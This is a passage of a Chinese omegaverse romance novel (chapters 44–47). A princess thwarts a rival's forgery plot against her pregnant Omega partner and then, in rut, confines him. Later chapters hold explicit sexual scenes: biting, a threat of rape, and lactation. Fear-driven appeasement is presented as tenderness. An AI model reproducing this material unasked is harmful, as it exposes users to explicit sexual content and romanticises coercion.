同时展开天鹅般的双臂,俨然是在开始舞台表演前,先为自己拉开距离。 “我听说,你搬进了殿下名下的私宅,还有近卫队的人守着。” 言均和轻声笑着,语气却带刺,“你说你都在我的眼皮底下,和你的好殿下共筑爱巢,我又怎么可能相信你刚才那套说辞?” “我签了协议的。” 简星沉死死抠在花瓶的纹路上,“我只是,想过平静的生活。” 言均和反手贴上额头,闭目仰起面容。 那模样,像极了简星沉曾在A区见过的一尊雕像。 可对方开口说出的话,却毫不似雕像高贵典雅,反而带着十足的硝烟味:“有协议很了不起吗?你以为,只有你签了协议?” 简星沉一愣。 他低头,看着花瓶上繁复的纹理,指节微微泛白。 “我以为,只有我需要签。” “我当然不像你一样,需要为了孩子妥协,签什么卖身契。” 言均和嗤了一声,眼里满是嘲讽,“贵族之间的协议,是用来彼此制衡的,才不是给你这种人,用来摇尾乞怜的。” 他走近,从少年怀中的花瓶里随手抽出一支紫色郁金香,在指间轻巧地转了转。 “紫色郁金香,代表高贵的爱,无尽的爱。” 言均和不屑扒开纤薄的花瓣,像垃圾那样毫不在意地洒落在地。 他抬眼,眉目含笑:“这插花,我不用了。辛苦你,白跑这一趟。” 简星沉站在空旷的练舞房中,止不住地感到有凉意贴着脖颈拂过。 他几乎忘了如何挪开脚步。 只是眼看着,花瓣一片、两片,徐徐落在脚尖。 忽然间,一只手托住他手里的花瓶,轻轻一带,便将他手中的负重瞬间卸去。 少年怔怔注视着身边的人。 江意衡单手托着那只水晶花瓶,三两步走到言均和面前,低头扫过瓶中花束,又看向言均和手里那根光秃秃的郁金香花杆,似笑非笑地摇头。 “好端端的花,你不要就算了,怎么还毁了?” 言均和目光闪烁片刻,脸上又熟练地堆出笑容:“可惜殿下来得晚,错过了全程。这花本来品相就不好,我不过是好奇,想拿起来看看,它就自己散了瓣。” “我确实来得晚。” 江意衡语气淡然,“不过,你本来也没打算让我来,不是吗?” 她手腕一送,将花瓶往言均和怀里一推,甚至放任花瓶棱角硌到那套昂贵的紧身练舞服。 直到言均和下意识地接住花瓶,江意衡才从花束之间抽走那封信函。 她摊开信笺,看了一眼,反手拎到他眼前,却故意模仿他刚才的样子,指尖逐行从字迹上划过。 “你是贵族,应该比他更清楚,伪造一国王储的字迹是什么罪名。轻则剥夺职权,重则家族连坐。” 即便是像言均和这样擅长摆扑克脸的人,听到这样的话,也不由敛了呼吸。 “这就把你吓到了?” 江意衡抬眸,唇角勾起一点笑意,像是刚扇过一个巴掌,又递去一颗红枣,“别紧张啊。就算不是为你,我也得看在言总理的面子上,饶恕你这一回。” 她牵起少年的手,将人带离门口,还不忘对身后的言均和抛下一句话。 “我记得言总理提过,你平时也会插花。” 她回过头,一手指了指言均和手里的花瓶,意味深长。 “王宫一向讲究礼尚往来。他做的这瓶花,你收了,那你是不是,也该还他一瓶?” * 走出那座由砖石砌成的小楼,简星沉一眼看到,两侧各站着一排人。 都是他曾在小木屋外见过的近卫队面孔。 人数多,队列又齐,目光更是一致的端庄严肃。 那种被注视的压迫感,令他下意识地想要从江意衡的指间抽离,手腕却被她不动声色地握紧。 她的指尖贴着他凸起的腕骨,稍稍用力,更进一步,将他拉至自己肩侧。 “这里,有今天送你过来的人吗?” 简星沉一一扫过这些人,诚实地摇头。 江意衡抬手一挥,陆怀峰亲自押上一人。 那人双手被铐,低着头,不敢迎上江意衡的目光。 她又问:“那这个呢?” 简星沉一眼就认出,这正是今早接送他的“近卫队新成员”。 陆怀峰简单补充道:“他打晕了我们的人,冒用身份。我们已经查清,他背后的人是……” “我知道。” 江意衡打断他的话,“追踪芯片就打在背上吧。然后,放他走。” 简星沉不清楚发生了什么。 但听着江意衡的语气,看着那人低垂的头,这似乎是一场围绕他而设下的陷阱。 可他毕竟没有第一时间认出笔迹的破绽,又信了陌生人的一面之词。 如果追究起来,他本人,也难辞其咎。 * 回到小屋的一路上,车内气氛凝滞。 简星沉犹豫许久,还是忍不住提起:“你不怪我?” “我为什么要怪你。” 江意衡偏头看着窗外风景,语气听不出波澜,“伪造笔迹的人不是你,偷换身份的人也不是你。你只不过是想出去透透气。” 这些堪称大度的话听在简星沉耳中,却只让他愈发难堪。 他攥起手指,艰难开口:“可是我……” “我知道你会上那辆车。我也知道,那不是我派去的人。” 江意衡转回头,笑得轻描淡写,“这也不奇怪吧?屋子四周的监控并未全军覆没,你身上的追踪芯片也一直在正常运行。” 简星沉怔了怔。 他原以为这都是自己的疏忽,却没想过,一切都是江意衡的顺势而为。 那他算什么? 他是她用来引敌上钩的诱饵吗? 明明坐在宽敞舒适的车厢里,他却觉得透不过气。 少年微弯着腰,两手在膝上有一搭没一搭地拨动,指尖抠着布料上的褶皱。 过了许久,他才低声问:“我不只是你的犯人,还是你的……棋子吗?” 江意衡沉默着。 片刻后,她淡声安慰:“这个答案,对你来说,很重要吗?” 驾驶座上的陆怀峰张了张口,试图劝说:“殿下……” “我不介意让他知道,也不介意他问我。” 江意衡的声音里没什么情绪。 她的手指绕过少年肩膀,轻轻拨了拨他耳边的碎发。 指腹明明是温暖的,落在少年耳畔的话音却带着春日才有的清寒。 “我的目的达到了,他也没受伤。这不就够了?” * 一连三天,简星沉都没有再送花来。 书房里的插花逐渐枯萎,直到地上落满各色花瓣。 陆怀峰上门时,侍从正在默默收拾那些凋零的残花。 他看了一眼,轻声问:“需要属下帮您,再从简先生那里讨些花来吗?” “讨?我什么时候需要讨东西了。” 江意衡倚在书桌前,抱起双臂笑了笑,“他愿意安分待在私宅,近卫队不也省心。” 陆怀峰抿了抿唇,没再说话。 转身离开时,他却在门口撞见言均和手捧一瓶插花。 “这么巧,您也特地带花送给殿下?” 江意衡用眼神示意陆怀峰先退下。 言均和在门口顿了一顿,才步入书房。 来之前,他在家中几乎与父亲吵了一架。 那些充斥着“婚约”“责任”“威胁”的话语,就像旋转不止的芭蕾小人,在他的脑海中徘徊不去。 其中有一句尤为过分的。 “早知如此,我从一开始,就该直接把你送到殿下床上!” 这些诅咒般的话语缠绕束缚着他,令他几乎窒息。 直到江意衡打破凝滞。 “我还没派人督促你,你倒自己送上门了?” “殿下何必明知故问。” 言均和面带微笑,将花瓶放在茶几上,姿态优雅地微调花枝的位置,确保它们与来时一模一样。 “办公时间结束了,你回去吧。” 江意衡捞起大衣,准备离开时,身后却传来言均和的声音。 “我父亲有些话,希望由我亲自转达殿下。” 江意衡并不打算回应他。 她毕竟在书房里连续处理了十二小时公务,头昏脑涨,早已迫不及待出去呼吸新鲜空气。 可就在这时,书房里却忽然弥漫开一股异常浓烈的香气。 像水仙,又像百合。 无论哪一种,都不在言均和带来的花里。 起初江意衡还当那是错觉。 但须臾间,空气里那股甜腻的味道被放大数倍,钻进她的意识。 江意衡瞬间惊醒。 不过短短几秒迟疑,她大步冲出书房,利落锁死门禁。 “言均和有点不对……怀峰!” 陆怀峰急忙应声前来,视线扫过紧闭的书房,与江意衡泛白的脸色。 “殿下,您怎么了?” 江意衡抬起终端。 用于监测腺体活跃度的芯片,正在闪烁橙色警告。 “……我的抑制剂也被锁在书房了。” 江意衡扶着墙,呼吸急促,“把你身上的备用抑制剂给我。” “可您不是必须使用特制抑制剂……” “少废话!” 江意衡接过应急抑制剂,毫不犹豫朝着颈侧扎下,撑着最后一线清醒,飞也似的冲向飞船。 * 每一次易感期邻近,江意衡都会回到这间属于自己的小屋。 这里的一切,都是依照她四岁前的记忆还原的。 她哪怕闭着眼睛,也能毫无阻碍地穿过玄关,一路摸到那扇熟悉的门。 江意衡开启密室,一头扎进去,反锁上门。 门上的安防系统随即响起平稳的提示音:“已启动七日闭关程式。倒计时,一百六十八小时。” 熟悉的播报,宛如某种仪式,令她在喘息之余,获得一丝久违的宁静。 江意衡斜倚着门,任凭冷汗打湿她的发梢。 她庆幸自己像先前每一次那样,足够果断,足够冷静。 不会被任何人,尤其是楼上的少年,看到如今这副模样。 只要捱过今晚,只要等到陆怀峰送来专用抑制剂,她就能平稳脱身。 江意衡强迫自己聆听自己的呼吸。 可偏偏,近处却忽然传来一道小心翼翼的声音。 “你怎么,会在这里?” 少年在黑暗中俯身,忐忑地伸手拽了拽她的衣角。 第45章 易感期 密室里,设有信息素监测设备。 在她的信息素水平降至安全范围以前,一旦七日闭关程式开启,除非她与陆怀峰同时授权,门不会自动打开。 这是她为应对易感期而准备的保险措施。 即便没有抑制剂,即便抑制剂失效,也能最大限度确保她独自、体面地熬过去。 至少,本该是这样。 简星沉的存在,却让这间密室,变成了另一种意义上的囚笼。 她能听见他的声音从黑暗中传来,带着困惑的语气。 她同时能感觉到,他仍在黑暗中轻扯她的衣角,像在等她回应。 指节收紧,江意衡整个人僵住片刻。 “明明该我问你。” 她压着嗓音,尽量平稳地转过头,“你为什么会在这里?” 简星沉摸着自己的后脑勺,语气无辜:“我在楼上听到开门声,以为家里进了贼,就下来看看。” 他抬起手在门上摸索:“没想到,这门自己开了。” “贼?”江意衡觉得好笑。 她明明连维持正常的呼吸都费劲,却忍不住嗤了一声,“这是我的家。我回自己家,怎么就成了贼?” “我没听到飞船的声音,也没发现有车在。” 少年一板一眼地解释着,声音也放低了,“你之前,从没回来过。” 江意衡这才回过神。 她来时一路为了不惊扰到别人,启动了隐形驾驶模式,连飞船的引擎声都被力场遮蔽。 为了能在最短时间内冲进密室,她特意掐着十秒钟,遥控打开这扇门。 却没料到,这短短十秒缓冲时间,居然成了破绽。 简星沉不可能恰好赶到。 她很难相信,他不是早就蹲守在旁,想趁机一探究竟。 黑暗中传来一阵窸窣声,少年的衣摆轻轻擦过她的手。 她能感觉到那层柔软的布料,甚至能感觉到上面熟悉的花纹。 这是她为他添置的睡裙。 随着裙摆摇晃,他身上的茉莉清香淡淡浮动。 他身上有她的终身标记,他的信息素只有她才能闻到。 她早已习惯了他的气息,不会刻意留意。 只要他安定,茉莉的气息便是清新宁和的。 可是因为易感期,她无法再用理智过滤他身上的茉莉香气。 那气息像针一样扎进她的呼吸里,在她体内搅动翻腾,为她本就紧绷的意识火上浇油。 简星沉在门上摸索了许久,困惑地嘀咕:“门锁在哪,我怎么摸不到……” “你当然摸不到门锁。”江意衡冷不防打断他的话。 在意识被那股香气彻底吞没之前,她伸出手,在黑暗中毫不犹豫地擒住少年纤细的手腕,将他从门板前拽了回来。 可她的指尖却好像拥有自己的意识,在他的掌沿不经意地 刮了刮。 轻且迅速,几乎像是某种稍纵即逝的错觉。 但这已经足以让简星沉警觉。 江意衡不是喜欢做这种细微动作的人。 如果她想要靠近,她不会拐弯抹角,而是会大大方方说出口。 在F区的出租屋时,他早就已经清楚这件事。 来到中心区后,她确实变得礼貌而克制。 除去偶尔揽住他的后背,或是牵手,她从未有过额外的亲昵。 可如今,在这片黑暗中,他的感官被放大得异常敏锐。 她有意无意的触碰,让他的心跳都不自觉地漏掉一拍。 江意衡好不容易找回呼吸的节奏,却忽然感到,少年已经顺势坐下,背靠着门板,肩膀挨着她。 他的动作是如此自然,一瞬间令她恍惚以为,自己又回到了那间狭小破旧的出租屋里。 “还记得你给我买了两件毛衣吗?你让我早上穿蓝的,晚上穿绿的……” 简星沉低着头,拨弄着睡裙的边角,语气温软,像在对她说着悄悄话。 “你不在的时候,我一直照着你的嘱咐,每天早晚换穿。那件绿毛衣,被我骑车的时候不小心刮破,我还特地找过张婶,想补得和原来一样呢……” 他的声音里满怀温度,带着由记忆深处浮现的依赖与怀念。 黑暗中,他的头靠着她的肩膀,像只依偎她的小兽。 这处封闭的空间,仿佛给了他久违的勇气。 自从离开F区,他已经有好久不曾像这样,和她敞开心扉说话了。 那些字句落入江意衡耳中,却好像蒙上了一层隔膜。 她明明听得清每一个字音,听得出他每一次停顿。 可当它们连成句子,她却无法从他的话里,拼接出完整的意思。 少年在她的肩头蹭了蹭,头发软软地拂过她的颈侧。 “许医生不是说,我很厉害,一个人就熬过了四个月的孕期。” 他拉过她僵硬的手,细心为她揉着僵硬的指节,“那是因为,我把你穿过的衣服做成了抱枕,每天晚上都抱着它,闻着你留下的味道。” 说完,他毫不设防,像捧着一件圣物般,将她的手引向自己的小腹。 那儿的弧度与温度,与她微热的掌心是如此契合。 直到,一股小小的力量突然撞上她的掌心。 “她在踢你。” 少年笑着覆上她的手,语气像在哄孩子,“她只在开心的时候,才会这样。” 他一边轻声细语,一边将她的手指穿进自己的指缝,自然而然地扣住,还晃了晃。 “我没想好给她取什么名字。我平常,都叫她小星星。” 他温柔得像在她耳边呢喃,“她也是你的女儿,你帮我,给她取个名字吧。” 这些柔软的话语,带来的冲击实在太过猛烈。 江意衡几乎像被雷击,回过神时,用力挣脱了他的掌心。 “怎么了?” 少年顿了一下,却不死心,伸手环住她的手臂,有些担心。 江意衡当然不能告诉他,自己怎么了。 天知道,单是维持呼吸的节奏,克制肢体的冲动,加上容忍茉莉气息近距离地灼烧她的感官,就已经快要掏空她全部的理智。 她的信息素水平从十五岁分化起就远超常人,易感期的不适症状也显著高于常人。 应急抑制剂到底只能缓解她一时的躁动。 而这点效用,在她回来的路上,就已经几乎消耗殆尽。 江意衡没有回应少年的问题,只是用尽全力捏住指尖,浑身像绷紧到极致的弓。 而他每一丝一毫不经意的亲昵,每一句依赖的话语,都像是羽毛滑过她敏感的弓弦,带动久久无法平静的震颤。 她本以为只要熬过五分钟,再多五分钟,就能顺着惯性一直熬下去。 她连齿关都不敢松开,但至少,终于又勉强维持住危险的平衡。 可偏偏,一只温软的手却不合时宜覆上她的额头,他的呼吸骤然靠近她的面容。 “你的额头,怎么这么烫?” 烫? 她倒宁愿只是额头烫。 江意衡发誓,刚才,他的唇瓣离自己不超过一拳距离。 那几乎勾起她身为Alpha最原始的本能。 每时每刻,都想将自己的Omega从身到心吞食入腹。 即便在黑暗中,她也能通过猎人般的直觉,捕捉到他的所有细节。 他的每一次呼气,眨眼,喉结轻动,血液在体表流动……都逃不过她的注意。 而她的每一次攥紧指尖,吞咽口水,屏住呼吸……在他的细微动作前,却是如此不堪一击。 江意衡强撑着冷淡撇开脸:“这门现在打不开,陆队长又在路上。我很累,不想陪你说话。” 她甚至屈起一条腿,抱着手臂,微弓身体靠在门板上,尽可能地拉长呼吸,守住最后的清醒。 “那你先休息,有我守着也一样。” 他有些失落地叹了口气。 一切仿佛重归安宁。 只有江意衡自己知道,她的衣物早已被冷汗浸透。 多亏了那管聊胜于无的应急抑制剂,她的信息素才没有彻底在封闭空间里爆发出来。 但她心里清楚,这一点剂量撑不了多久。 科技署为她特别研究的抑制剂虽然强效,却娇贵得很,保质期不足七日,远不如普通抑制剂那样耐于存放。 她不得不再撑过几小时,等陆怀峰拿回她需要的抑制剂,这一场煎熬才算结束。 幸好,黑暗暂时遮住了简星沉的眼睛。 她易感期发作时的可怕模样,绝不能被任何人撞破。 他也不行。 只是,在这安静的黑暗中,突兀响起一道细微的摩擦声。 火柴划过火柴盒,少年指间倏地跃起一朵怯生生的火光。 火苗瞬间点亮他手中捧着的蜡烛,在他巴掌大的脸上照出一片暖红的光晕。 烛光倒映在他清澈的瞳孔里,摇曳成两颗怯生生的星。 他明明没有说话,可每一次眼睫眨动,都好像有无数言语流入她心底。 简星沉小心翼翼捧高蜡烛,查探一圈,将它摆上架子。 烛光映出墙上一张褪色相片。 画面里的小女孩缺了一颗牙,牵着大人的手,笑得天真。 然而相框玻璃映出的人影,却沉着一张脸,死死盯着他。 “你吓到我了。” 少年转身轻拍胸口,“不是说好休息一会,你怎么起来了?” 江意衡没有出声。 她只是向他的身形前倾,一只手绕过他的脖颈,扣住他的后脑,目光专注地落在他脸上,还微微歪过头。 “怎么突然这么看着我。” 简星沉红着脸,脸颊却顺着她的手轻轻一蹭。 江意衡靠得更近,俯下面容,垂落目光,好像能看进他心底。 少年下意识地合上眼,微张唇瓣,全心全意迎接即将到来的瞬间。 可他并没等到预期的亲吻。 他只感到江意衡的双手扣住他的肩膀,面容猛地向下埋进他的胸口。 紧接着,是一道撕咬般的痛。 隔着睡裙,江意衡猝不及防咬在他胸前那处,迫出他口中第一声破音的尖叫。 第46章 你能不能,温柔一点?…… 没人想要接触易感期的Alpha。 即便是他们的Omega也不例外。 一个正处于易感期的Alpha,在腺体亢奋的前提下,极易狂躁易怒,甚至会失去理智。 平日里的江意衡,绝不会像现在这样。 即便简星沉方才没能第一时间察觉,但如今凭着她这副反常面貌,哪怕他这样迟钝的人,也无法否认眼前的现实。 江意衡的易感期发作了。 还偏偏是在这间上了锁的房间里,和他共处一室。 她的双手死死钳住他的肩膀,将他整个人抵在冷硬的门板上。 力气之大,几乎令他的骨头发出微弱的咔哒声,他根本无处可逃。 简星沉只能近乎被动地,承受着由Alpha齿尖带来的持续磋磨。 最初的那一口,暴烈而突兀,像是野兽衔住猎物,毫不掩饰地宣告所属。 而那之后的每一次啮咬,都像是在他尚未从痛意中苏醒的敏感处,锲而不舍地研磨。 不轻不重,不疾不徐。 好似她终于找到乐趣,既耐心又执着地玩弄。 偶尔,她还会微微后倾,唇齿微合,将他微胀的柔软皮肉刻意拉扯,缓缓拽动他那点可怜的脆弱。 每到这时,简星沉只能倒抽一口冷气。 他不得不咬着牙,手颤抖着揽过她的后脑,努力将她的面容重新靠近自己身前。 这样至少可以减缓她动作的幅度,避免自己的皮肉被她拉拽得更狠。 出乎意料的是,江意衡对此并不反感。 她似乎是得到某种难以言喻的抚慰,难得顺从地任由他托住脑袋。 双手却从他的肩膀一路下移,落在他单薄的胸膛前,掌心温热地轻推又抬起,仿佛在揉弄某种爱不释手的玩物。 同时,她的唇齿轻轻开合,带着一种近乎可怕的韵律。 看着她低垂的后脑勺,简星沉却忍不住觉得,这一切有些奇怪的熟悉。 并不像是完全失去理智的肆意掠夺。 却更像是兽类在幼年时,通过啃咬索取安抚的模样。 他艰难地低下头,哑着喉咙,靠近她耳旁,困惑地问:“你是不是,渴了?” 他确信她听到了他的话。 江意衡的动作分明有片刻停滞,指尖在他的肌肤上若有若无地勾勒,隔着薄而柔软的睡裙,轻戳他的皮肉。 如同体谅他般,齿关也随之放松了一些。 她抬起头,眼底倒映着那点微弱的烛火。 那战栗的火光仿佛能够灼烧人的心神,叫人连灵魂都止不住地颤动。 江意衡沉默着,死死盯着他。 她明明什么表情都没有,双眼却像锋利的刀刃,直勾勾地切入他的意识。 简星沉不安地咽下局促,喉咙早已干得发紧。 那是他身为Omega,在面对Alpha时的生理本能。 但江意衡没有说话。 她只是微微歪过头,好像在琢磨,要不要回答他。 不过短短五秒的时间,她的唇角,终于撇起一丝危险笑意。 高达一米八四的Alpha忽然弯下身形,一条手臂毫不费力地箍住他的腰,动作利落地将他扛起。 不到六十公斤的Omega,在她手中,仿佛轻到几乎没有重量的布偶娃娃。 简星沉这才彻底慌了。 他知道,自己签下的那份协议里,有一条是要他配合江意衡的生理需求。 即便易感期也不例外。 可他毕竟怀着孩子。 身体状况才刚刚稳定没几天,他早不是过去那个,能一口气骑车翻山越岭的自己。 他很清楚江意衡的实力有多强悍。 她是帝国公认的顶级Alpha,放眼整个中心区,没人胆敢公然挑衅她。 他唯独不清楚,在她易感期彻底失控时,他还能不能活着从床上下来。 “放开我。” 他一面在她行进的步伐中,被迫挣扎着保持平衡,一面蹬着两条裸露的小腿,拳头像猫儿挠痒般落在她的背上,“江意衡,你放开我!” 但江意衡根本不打算放开他。 Omega的身体虽然纤细单薄,却温软馨香得几乎过分。 他的手脚挥打着落在她身上,酥酥痒痒,像细雨洒下,不足为惧。 甚至他每一声急促委屈的抗议,在她耳中,都只为她增添了一抹近乎病态的愉悦。 她觉得自己好像被禁锢了太久。 分化后这十年,她每一次易感期都是通过抑制剂压制。 那些潜伏的欲念,连一次发泄的机会都没有。 而现在,在这样一个无人打扰的封闭空间里,她终于可以毫无保留,第一次把她的Omega扛在肩上,独享属于彼此的时光。 然而,被她扛在肩上的少年,显然并不像她一样充满期待。 简星沉那些无力的抵抗,根本无法撼动她的一丝一毫。 他只能眼睁睁看着江意衡带着他,一路横冲直撞,沿途推翻椅子,踢倒茶几,在昏暗中硬生生凿开一条只属于他们的道路。 烛光微弱,照不到太远的地方。 他方才根本没有注意到,这房间还有一处角落,完全隐没在垂地的帘幕后。 直到江意衡步步靠近,被遗忘的死角才暴露在他眼前。 他下意识地绷紧腿脚,心中不祥的预感愈发强烈。 那肯定不会是他想去的地方。 江意衡的手已经攥上垂帘,正要一把拉开的瞬间,却忽然听到肩上的少年发出带着哭腔的求饶。 “你想对我怎样……都可以。” 他的声音颤抖,仿佛用尽全部力气,语气染上泪水的湿意,“你难受吗?难受的话,我……用别的办法满足你。我的身体,腿、手、嘴巴……都是你的。只要你,放过小星星。” 江意衡顿住动作。 她缓缓扭过头,尽管身上热意难耐,目光却冷冷扫过他转回的脸。 那是一张被泪水洗礼的面容,两只干净的眸子蓄满水光。 模样既可怜,又无端令她恼火。 易感期的热火从内灼着她,几乎将她的理智吞噬殆尽。 可少年的眼,却清澈得令人心生不舍。 那是风吹过叶尖的颤动。 那是小跑时发丝掀起的弧度。 江意衡模糊想起,自己原本要带他去做什么。 面对着他这副近乎卑微的讨好,她没来由地发出一声低笑。 他仍在示弱:“那你能不能,至少,温柔一点?” “温柔?” 江意衡垂下视线,声音带着微妙的嘲弄。 这是她从刚才起,对他说出的第一句话。 话音落下的瞬间,简星沉的心也凉了。 泪水悄然滑落,他靠着易感期Alpha滚烫的身体,却觉得心在无止尽地下沉,仿佛一眨眼就再也捞不着。 少年的抽泣声在她背后轻轻响起。 眼泪啪嗒、啪嗒落在她的后背,很快浸透她的衣物,洇出一块微凉的印记。 江意衡只是不耐烦地哼了一声。 她抬起手,将面前的厚重帘子一把从挂钩上扯下。 哧拉! 一道撕裂空气的刺耳响声,同时在简星沉的心里撕开口子。 他默默合上眼,拼命摇晃脑袋,指尖努力扣紧她的腰。 他不敢看,也不敢听。 他怕他看到的,会是Alpha最残酷的表情。 也怕他听到的,会刺穿他最后那一点脆弱。 他承认,在他们为数不多共处的时间里,他总是在藏,总是在遮掩。 好不容易有了这么一次机会,他以为,自己终于不用再伪装,能向她敞开心扉。 可他怎么偏偏就撞上了江意衡的易感期。 简星沉的脸紧贴着Alpha滚烫的脊背。 他能清晰感受到,江意衡忽然停下的步伐。 属于他的凌迟,已经近在咫尺。 “睁眼。” 江意衡的声音突兀响起。 下一秒,她隔着他的睡裙,毫不客气地拍了拍他的屁股。 他已经没有多余的心力感到羞耻或是局促,只是机械地抬起垂挂的胳膊,麻木地替自己抹去脸上泛滥的泪水。 然后,颤抖着抬头。 伴随着一声干脆的咔哒响声,上方垂挂的灯泡忽然亮起。 昏黄的灯光落下,照亮了他们所在的角落。 简星沉勉强撑开眼,他所见的情景,几乎让他以为自己陷入了某种荒诞的幻觉。 他无法相信,也无法接受。 仿佛是为了让他撑过即将到来的折磨,他的大脑自作主张,为他编织了一个虚假而温暖的梦。 在那盏与F区出租屋几乎一模一样的灯泡照射下,他直愣愣地看着面前那辆三轮车。 绿漆剥落,车身覆着一层细灰,与他记忆中的,几乎分毫不差。 “认不出吗?” 江意衡懒洋洋地伸手,拨动车头上的铃铛。 铃响清脆,夹着一丝细微的走音。 那是他熟悉到骨子里的声音,是他亲手摩挲过无数次的车铃。 他曾骑着这辆车,载着江意衡,碾过冰雪,翻过山岭,驶过他们共同的记忆。 当初他退租离开,把所有废品都清空,带上那一点可怜的行囊,却唯独带不走这辆车。 但他并不是没有机会将它处理掉。 只是关于它的一切,对他而言,都实在太过珍贵。 即便不是丢去垃圾场,即便只是转手给另一个人,那些念头本身,就足以将他击垮。 所以他只能将它留在风雪中,狠心甩在身后。 不回头,不去看,把关于它和那段过往的一切,都交给命运处置。 可他怎么也没想到,他曾以为抛诸脑后、不会再见的旧物,竟然会以这样一种他最难以接受的方式,近乎堂而皇之地闯入他的视野。 江意衡,始终没有原谅他,始终不肯饶恕他吗? “喜欢吗?” 仿佛是为了验证他最抗拒的答案,他的Alpha漫不经心情地落下话语。 声音低且缓,却像看不见的绳索,在他的意识上缓缓缠住、勒紧。 “这是我为你特别准备的,爱的温床。” 那最后四个字,恍如噩梦。 话音刚落,她身形一转,将他从肩上捞下,毫不怜惜地放在光秃秃的三轮车厢里。 少年下意识地收拢裙摆,膝盖紧紧夹住,在并不宽敞的车厢中侧身缩成一团。 他没有勇气去看江意衡的脸,只能听到Alpha利落翻进车厢。 江意衡的手臂环住他紧绷的肩膀,身体近乎亲密无缝地贴近他弓起的腰身。 她的呼吸炙烤着他发颤的脊背,将他逼入绝境。 比起冰冷的车厢,更让简星沉害怕的,是隔着薄薄织物,那令人无法忽视的存在。 那是属于Alpha的武器,是超出一切的迫切威胁。 简星沉简直无助到了极点。 他闭上眼,拼命压制着内心快要溢出的恐惧,双手护住小腹,身体下意识地向前拱了拱,试图拉开哪怕最后一点距离。 可江意衡却不容许他逃离。 她不依不饶地再次靠近,贴上他的身体,强硬而富有威胁地碾磨着他,不容他抗拒。 直到,她一口咬在他肩头,唇齿紧挨他的耳廓,声音低冷,刺入他的意识。 “你要是敢再动一下,我就□死你。” 第47章 你喂我,我也喂你 简星沉从来不喜欢被江意衡从背后抱着。 毕竟他们上一次保持这个姿势的时候,她的一部分在可是留在由他身体构建的容器里,整整停留了一晚。 Omega的生殖腔只在终身标记的时候才会完全打开。 而现在,那里住着新的生命,不再适合与江意衡共享。 但他现在甚至还顾不到这些。 因为在她能够闯入这片孕育生命的土壤以前,他自己就先要被挤扁了。 三轮车的车厢容纳一个蜷缩的人尚且勉强,更何况,如今同时塞下两个一米八上下的成年人。 简星沉不得不曲起双膝,脊背向着膝盖弯曲。 整个人折了两折,程度比她之前折腾他的时候还夸张。 不仅如此,他的手掌还得拼命撑在肚子前面,防止车厢护栏压到孩子。 前有冰冷的铁栏,后有来自Alpha的热切威胁。 这恐怕是简星沉人生之中,最为窘迫的时刻。 好在,自从他们躺在三轮车里,背后的人似乎温和了许多。 江意衡如同酣眠中的兽类,偶尔浅浅蹭过他,只有两只手不诚实地绕回在他胸口。 耳畔是她轻啮的酥麻,身后是她无时不刻的施压。 他的胸口明明是才打苞的花朵,却被她近乎无情地磋磨。 他固然庆幸,她无法在这个姿势下,啃到那些脆弱的皮肉。 却免不了觉得痒,觉得麻。 偶尔,他还会因为她指尖的轻掐,从喉咙里逸出一声无法自控的轻吟。 不过,如果这样就能让她安分,简星沉不介意再多忍耐一会。 只是,空气中属于江意衡的信息素愈发浓烈,红酒的微涩气味缠绕在他鼻息。 她的指法毫无规律可循,偏偏又锲而不舍,肆意拨弄他。 他同时承受来自身后的炙烤,耳边缭绕的吐息…… 这一切,都成了某种致命的催化剂。 他能感觉到属于Omega的身体在点燃,呼吸渐而急促。 而当她的指尖失误般划过他的胸口,留下一道火辣辣的灼感,他终于忍不住又吃痛地唤了一声。 几乎是在同时,江意衡的动作止住。 这让他感到一种可怕的空虚。 接着,是愈发响亮焦灼的心跳。 江意衡没让他等太久。 她轻咬着他的耳鬓,一条腿搭上他的腿,手指似乎是要确认什么,在他身前来回查探。 他听到她的语气近乎欣喜:“你怎么湿了?” ……湿了? 他觉得自己麻了。 简星沉知道他的身体敏感,Omega本来就极易被自己的Alpha牵动情绪。 两个人贴得这样近,他从身到心都浸泡在她的气息里,就算欲念濒临崩溃,他也不会觉得奇怪。 “你要是放开我,我可以自己……弄干净。” 他不自觉地夹紧了腿。 “不先闻一下?” 江意衡的指尖微微滑下。 简星沉浑身都烧起,几乎无暇分辨,只是努力克制着随时可能决堤的理智。 “我已经知道了,你也不用……这样吧?” 说的都是什么话,怪让人难为情的。 江意衡沉默片刻,似乎是在理智短暂压过信息素的间歇中,极其认真地思考了一下。 “不是那个。” 不待他反对什么,江意衡已经把湿润的指尖落在他鼻尖,还往他的唇上抹了抹。 “尝到了?” 简星沉当然尝到了自己的味道。 一瞬间,他的大脑空白,根本不知道该怎么回答她。 那是微微粘稠的质地,带着一些咸涩和微微腥气。 少年僵硬地回味气味时,江意衡收回指尖,送到自己口中,还用力啵了一声。 “还好,不甜。” ……幸好不甜。 简星沉的脑袋嗡嗡作响。 他做梦都没想过,有朝一日,他居然会被自己的Alpha,喂上一口他自己的初乳。 孕期第四个月起,Omega的身体就有几率分泌乳汁,为着即将出世的孩子提前做好储备。 只是他的身体太过单薄,依照检查结果,就算全世界的Omega都开始哺乳,也不会轮到他。 谁知,他的身体会因为Alpha的触碰和信息素刺激,过早催生这种本能变化。 他开始对自己感到害怕,他不知道自己的身体,还会因为江意衡发生什么变化。 她正吮着指尖,发出微微不满的抱怨:“怎么才这么点。” 说完,伸手隔着睡裙又拧了一下,属于Alpha的威胁同时不安分地跃动。 “我能不能,提个建议?” 感到威胁迫在眉睫的少年被迫出声,“你要是想喝……我可以喂你。” * 简星沉活了十九年,懦弱过,屈尊过。 却没想过,自己会对一个Alpha这样大度。 自从刚才,江意衡勉强接受了他的提议,他便在狭小的三轮车厢里翻过身,任由她像孩子那样,依偎在他单薄的胸膛里。 或许这就是Omega的本能,对腹中的孩子和易感期的Alpha,在某种程度上一视同仁,包容,纵容。 口中哼着柔和的曲调,衣扣松开。 他的身体,源源不断地回应着江意衡的索取。 一个二十四岁的人,却仿佛短暂地重拾了幼儿时的记忆,极其贪婪而又沉醉地伏在他的胸口,用温润灵活的唇齿去接纳甘霖。 可即便如此,Alpha身上跃跃欲试的威胁仍没有半点消退迹象,挨着他的身体缓缓磨蹭。 简星沉本想抱着她,这样会让她更有安全感。 可他腾不出手。 他那两只本可用来拥抱Alpha的手,正在从另一种层面上给予她安抚。 禁锢住火焰,避免它烧得太深。 她正专心从他身上汲取养分,即便最坚固的刀锋屈居于少年指间,也没有多少抱怨。 这令他在沉默之余,不禁有些感慨。 江意衡在人前从来强势不饶人。 可她想要的东西,似乎比他想象中要简单。 她想要被抱住,想要被安抚,想要贴着柔软温暖的身躯,用最原始的方式,从他身上索求。 